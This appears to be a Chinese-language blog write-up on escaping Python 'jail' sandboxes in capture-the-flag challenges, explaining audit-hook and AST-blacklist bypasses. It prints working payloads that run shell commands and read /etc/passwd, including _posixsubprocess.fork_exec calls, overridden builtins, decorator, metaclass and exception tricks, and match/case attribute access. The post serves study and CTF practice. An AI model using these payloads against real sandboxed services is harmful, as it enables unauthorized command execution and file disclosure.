是 Python 的内置模块,全名为 "garbage collector",中文译为 "垃圾回收"。 gc
模块主要的功能是提供一个接口供开发者直接与 Python 的垃圾回收机制进行交互。
Python 使用了引用计数作为其主要的内存管理机制,同时也引入了循环垃圾回收器来检测并收集循环引用的对象。 gc
模块提供了一些函数,让你可以直接控制这个循环垃圾回收器。
下面是一些 gc
模块中的主要函数:
gc.collect(generation=2)
:这个函数会立即触发一次垃圾回收。你可以通过generation
参数指定要收集的代数。Python 的垃圾回收器是分代的,新创建的对象在第一代,经历过一次垃圾回收后仍然存活的对象会被移到下一代。gc.get_objects()
:这个函数会返回当前被管理的所有对象的列表。gc.get_referrers(*objs)
:这个函数会返回指向objs
中任何一个对象的对象列表。
exp 如下
1 | for obj in gc.get_objects(): |
在 3.11 版本和 python 3.8.10 版本中测试发现会触发 gc.get_objects hook 导致无法成功.
# 利用 traceback 获取模块
这个思路来源于 writeup by hstocks – github
主动抛出异常,并获取其后要执行的代码,然后将 __exit
进行替换,思路也是十分巧妙.
1 | try: |
但是实际测试时使用 python 3.11 发现 nxt_frame = tb.tb_frame
会触发 object.__getattr__
hook. 不同的版本中触发 hook 的地方会有差异,这个 payload 可能仅在 python 3.9 (题目版本) 中适用
# 绕过 audit hook
Python 的审计事件包括一系列可能影响到 Python 程序运行安全性的重要操作。这些事件的种类及名称不同版本的 Python 解释器有所不同,且可能会随着 Python 解释器的更新而变动。
Python 中的审计事件包括但不限于以下几类:
import
:发生在导入模块时。open
:发生在打开文件时。write
:发生在写入文件时。exec
:发生在执行 Python 代码时。compile
:发生在编译 Python 代码时。socket
:发生在创建或使用网络套接字时。os.system
,os.popen
等:发生在执行操作系统命令时。subprocess.Popen
,subprocess.run
等:发生在启动子进程时。
calc_jail_beginner_level6 这道题中使用了 audithook 构建沙箱,采用白名单来进行限制.audit hook 属于 python 底层的实现,因此常规的变换根本无法绕过.
这道题需要绕过的点有两个:
-
绕过 import 导入模块。如果直接使用 import, 就会触发 audithook
1
2> __import__('ctypes')
Operation not permitted: import -
绕过常规的命令执行方法执行命令。利用 os, subproccess 等模块执行命令时也会触发 audithook
在上文利用 _posixsubprocess.fork.exec
绕过之外:
# _posixsubprocess 执行命令
_posixsubprocess 模块是 Python 的内部模块,提供了一个用于在 UNIX 平台上创建子进程的低级别接口。subprocess 模块的实现就用到了 _posixsubprocess.
该模块的核心功能是 fork_exec 函数,fork_exec 提供了一个非常底层的方式来创建一个新的子进程,并在这个新进程中执行一个指定的程序。但这个模块并没有在 Python 的标准库文档中列出,每个版本的 Python 可能有所差异.
在我本地的 Python 3.11 中具体的函数声明如下:
1 | def fork_exec( |
__process_args
: 传递给新进程的命令行参数,通常为程序路径及其参数的列表。__executable_list
: 可执行程序路径的列表。__close_fds
: 如果设置为 True,则在新进程中关闭所有的文件描述符。__fds_to_keep
: 一个元组,表示在新进程中需要保持打开的文件描述符的列表。__cwd_obj
: 新进程的工作目录。__env_list
: 环境变量列表,它是键和值的序列,例如:[“PATH=/usr/bin”, “HOME=/home/user”]。__p2cread, __p2cwrite, __c2pred, __c2pwrite, __errread, __errwrite
: 这些是文件描述符,用于在父子进程间进行通信。__errpipe_read, __errpipe_write
: 这两个文件描述符用于父子进程间的错误通信。__restore_signals
: 如果设置为 1,则在新创建的子进程中恢复默认的信号处理。__call_setsid
: 如果设置为 1,则在新进程中创建新的会话。__pgid_to_set
: 设置新进程的进程组 ID。__gid_object, __groups_list, __uid_object
: 这些参数用于设置新进程的用户 ID 和组 ID。__child_umask
: 设置新进程的 umask。__preexec_fn
: 在新进程中执行的函数,它会在新进程的主体部分执行之前调用。__allow_vfork
: 如果设置为 True,则在可能的情况下使用 vfork 而不是 fork。vfork 是一个更高效的 fork,但是使用 vfork 可能会有一些问题 。
下面是一个最小化示例:
1 | import os |
结合上面的 __loader__.load_module(fullname)
可以得到最终的 payload:
1 | __loader__.load_module('_posixsubprocess').fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__loader__.load_module('os').pipe()), False, False,False, None, None, None, -1, None, False) |
可以看到全程触发了 builtins.input/result
, compile, exec 三个 hook, 这些 hook 的触发都是因为 input, compile, exec 函数而触发的, __loader__.load_module
和 _posixsubprocess
都没有触发.
1 | [+] builtins.input/result, ('__loader__.load_module(\'_posixsubprocess\').fork_exec([b"/bin/cat","/flag"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__loader__.load_module(\'os\').pipe()), False, False,False, None, None, None, -1, None, False)',) |
# __loader__.load_module
导入模块
__loader__.load_module(fullname)
也是 python 中用于导入模块的一个方法并且不需要导入其他任何库.
1 | __loader__.load_module('os') |
__loader__
实际上指向的是 _frozen_importlib.BuiltinImporter
类,也可以通过别的方式进行获取
1 | >> ().__class__.__base__.__subclasses__()[84] |
__loader__.load_module
也有一个缺点就是无法导入非内建模块, 例如 socket
1 | >> __loader__.load_module('socket') |
# 篡改内置函数
这道 audit hook 题还有一个解法,可以看到 WHITE_EVENT 是通过 set 函数返回的,set 函数作为一个内置函数实际上也是可以被修改的
1 | WHITED_EVENTS = set({'builtins.input', 'builtins.input/result', 'exec', 'compile'}) |
比如我们将 set 函数修改为固定返回一个包含了 os.system 函数的列表
1 | __builtins__.set = lambda x: ['builtins.input', 'builtins.input/result','exec', 'compile', 'os.system'] |
这样 set 函数会固定返回带有 os.system 的列表.
最终 payload:
1 | exec("for k,v in enumerate(globals()['__builtins__']): print(k,v)") |
# 其他不触发 hook 的方式
使用 __loader__.load_module('os')
是为了获取 os 模块,其实在 no builtins 利用手法中,无需导入也可以获取对应模块。例如:
# 绕过 AST 沙箱
Python 的 ast 模块是一个用于处理 Python 代码抽象语法树(AST)的库。它提供了一些工具,可以让开发者轻松地检查、修改和生成 Python 代码的 AST。
抽象语法树是 Python 源代码的一种树形表示形式,用于表示 Python 代码的语法结构。Python 的 ast 模块可以将 Python 代码解析为 AST,并提供了许多方法和属性,以便开发者可以访问和修改 AST 节点。
以下是 ast 模块中常用的一些类和方法:
- ast.parse(source, filename=’
’, mode=‘exec’):将源代码解析为 AST 对象。 - ast.dump (node):将 AST 节点转换为字符串形式输出。
- ast.NodeVisitor:一个基类,可以用于遍历和修改 AST 树。
- ast.NodeTransformer:一个基类,可以用于修改 AST 节点。
- ast.Module:表示 Python 模块。
- ast.FunctionDef:表示 Python 函数。
- ast.ClassDef:表示 Python 类。
- ast.Assign:表示 Python 的赋值语句。
- ast.Name :表示 Python 的变量名。
使用 ast 模块可以让开发者方便地访问和修改 Python 代码的语法结构,例如可以用它来分析 Python 代码的复杂度、检查代码的安全性、提取代码中的关键字等等。python ast 详解与用法 - CSDN 博客
AST 沙箱会将用户的输入转化为操作码,此时字符串层面的变换基本上没用了,一般情况下考虑绕过 AST 黑名单。例如下面的沙箱禁止了 ast.Import|ast.ImportFrom|ast.Call
这三类操作,这样一来就无法导入模块和执行函数.
1 | import ast |
# without call
如果基于 AST 的沙箱限制了执行函数,那么就需要找到一种不需要执行函数的方式执行系统命令.
# 装饰器
利用 payload 如下,该 payload 实际上等效于 exec (input (X))
1 |
|
当我们输入上述的代码后,Python 会打开输入,此时我们再输入 payload 就可以成功执行命令.
1 | >>> @exec |
由于装饰器不会被解析为调用表达式或语句,因此可以绕过黑名单,最终传入的 payload 是由 input 接收的,因此也不会被拦截.
其实这样的话,构造其实可以有很多,比如使用单层的装饰器,打开 help 函数.
1 |
|
这样可以直接进入帮助文档:
1 | Help on class X in module __main__: |
再次输入!sh 即可打开 /bin/sh
或是给装饰器加一些参数。
1 | import os |
相当于:
1 | getattr(os,"system")(fake_wrapper(something)) |
亦或者自定义一个装饰器:
1 | import os |
相当于 os.system(fake_wrapper(something))
,也就是 os.system(‘/bin/sh’)
# 函数覆盖
我们知道在 Python 中获取一个的属性例如 obj[argument]
实际上是调用的 obj.__getitem__
方法。因此只需要覆盖其 __getitem__
方法,即可在使用 obj[argument]
执行代码:
1 | class A: |
但是这里调用了 A 的构造函数,因此 AST 中还是会出现 ast.Call. 如何在不执行构造函数的情况下获取类实例呢?
# metaclass 利用
Python 中提供了一种元类 (metaclass) 概念。元类是创建类的 “类”。在 Python 中,类本身也是对象,元类就是创建这些类(即类的对象)的类。
元类在 Python 中的作用主要是用来创建类。类是对象的模板,而元类则是类的模板。元类定义了类的行为和属性,就像类定义了对象的行为和属性一样。
下面是基于元类的 payload, 在不使用构造函数的情况下触发
1 | class Metaclass(type): |
除了 __getitem__
之外其他方法的利用方式如下:
1 | __sub__ (k - 'import os; os.system("sh")') |
示例:
1 | class Metaclass(type): |
# exceptions 利用
利用 exceptions 的目的也是为了绕过显示地实例化一个类,如果一个类继承了 Exception 类,那么就可以通过 raise 关键字来实例化. payload 如下:
1 | class RCE(Exception): |
raise 会进入 RCE 的 __init__
, 然后触发 __iadd__
也就是 exec.
当然,触发异常不一定需要 raise, 主动地编写错误代码也可以触发,与是就有了如下的几种 payload.
1 | class X: |
这个 payload 中直接将 sys.excepthook 进行覆盖,任何异常产生时都会触发.
1 | class X(): |
这个 payload 将 __import__
函数进行覆盖,最后的 {}[1337] 在正常情况下会引发 KeyError 异常,因为 Python 在引发异常时会尝试导入某些模块(比如 traceback 模块),导入时就会触发 __import__
.
# 通过 license 函数读取文件
1 | __builtins__.__dict__["license"]._Printer__filenames=["/etc/passwd"] |
上面的 payload 修改内建函数 license 的文件名列表为 /etc/passwd 当调用 license()
时会打印这个文件的内容.
1 | >>> __builtins__.__dict__["license"]._Printer__filenames |
payload 中将 help 类的 __enter__
方法覆盖为 license
方法,而 with
语句在创建上下文时会调用 help 的 __enter__
, 从而执行 license
方法。这里的 help 类只是一个载体,替换为其他的支持上下文的类或者自定义一个类也是可以的。例如:
1 | class MyContext: |
# 绕过 ast.Attribute 获取属性
如何绕过 ast.Attribute?python 3.10 中引入了一个新的特性:match/case,类似其他语言中的 switch/case,但 match/case 更加强大,除了可以匹配数字字符串之外,还可以匹配字典、对象等。
最简单的示例,匹配字符串:
1 | item = 2 |
还可以匹配并自动赋值给局部变量,传入 (1,2) 时,会进入第二个分支,并对 x,y 赋值。
1 | item = (1, 2) |
对于基本类型的匹配比较好理解,下面是一个匹配类的示例:
1 | class AClass: |
在这个示例中,重点关注 case AClass(thing=x)
,这里的含义并非是将 x 赋值给 thing,我们需要将其理解为一个表达式,表示匹配类型为 AClass 且存在 thing 属性的对象,并且 thing 属性值自动赋值给 x。
这样一来就可以在不适用。号的情况下获取到类的属性值。例如获取 ''.__class__
,可以编写如下的 match/case 语句:
1 | match str(): |
可以看到 x 就是 ''.__class__
. 因为所有的类都输入 object 类,所以可以使用 object 来替代 str,这样就无需关注匹配到的到底是哪个类。
1 | match str(): |
再测试一下该 payload 的 AST:
1 | import os |
AST 如下:
1 | Module( |
可以看到确实没有 Attribute,依据这个原理,就可以绕过 ast.Attribute
我们可以构造替代 ''.__class__.__base__.__subclasses__()
的 payload:
1 | match str(): |
# 绕过 ast.Assign 赋值变量
ast.Assign 无法使用时,我们无法直接使用 = 来进行赋值,此时可以使用海象表达式:= 进行绕过。例如:
1 | [ |
此时 AST 树如下,海象表达式用到的是 ast.NamedExpr 而非 ast.Assign
1 | Module( |
# 绕过 ast.Constant 获取数字、字符串
题目限制了 ast.Constant,所以无法直接使用数字、字符串常量,但通过其他的函数组合可以构造出数字和字符串。 例如:
1 | "" : str() |
如果要用数字来构造字符串,通常需要用到 chr 函数,虽然题目的 builtins 没有直接提供 chr 函数,但也可以自己手动实现一个 chr。
当然,题目 builtins 允许 dict 和 list,因此可以直接用这两个函数直接构造出字符串
在这个 payload 中,需要构造出 _wrap_close、system、bash
1 | [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("bash") |
那么就可以通过下面的方式获取到这几个字符串:
1 | list(dict(system=[]))[0] # system |
# 绕过 ast.Subscript 获取列表 / 字典元素
题目同时限定了 ast.Subscript,因此无法直接使用索引。但 BUILTINS 中给出了 min 函数,该函数可以获取列表中最小的元素,当列表中只有一个元素时,就可以直接取值。
1 | min(list(dict(system=[]))) # system |
如果要获取字典元素,可以利用 get 函数来替代 Subscript。例如我需要在 globals 字典中获取 key 为 system 的元素,可以配合 match/case 来获取。
1 | match globals: |
# 绕过 ast.For 遍历列表
在构造最终 payload 中,我们还需要在 __subclasses__()
得到的列表中获取到 _wrap_close 类。
1 | [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("bash") |
当列表中不只有一个元素且列表中的元素之间无法比较时,正常情况下可以使用 for 来遍历并判断,但 ast.For 被题目过滤了,此时可以使用 filter,如下所示:
1 | def filter_func(subclazzes_item): |
fitler 中使用 match/case 和 if 来进行过滤。
除了使用 filter 函数外,还可以使用 iter 和 next 函数来遍历列表,但题目 BUILTINS 中没有给出这两个函数。
# END
贴一个自动化的 Python 沙箱逃逸 payload bypass 框架,不知道将来用不用得到
- Title: PyJail
- Author: Fc04dB
- Created at : 2024-05-06 22:42:33
- Updated at : 2024-07-04 23:15:24
- Link: https://redefine.ohevan.com/2024/05/06/PyJail/
- License: This work is licensed under CC BY-NC-SA 4.0.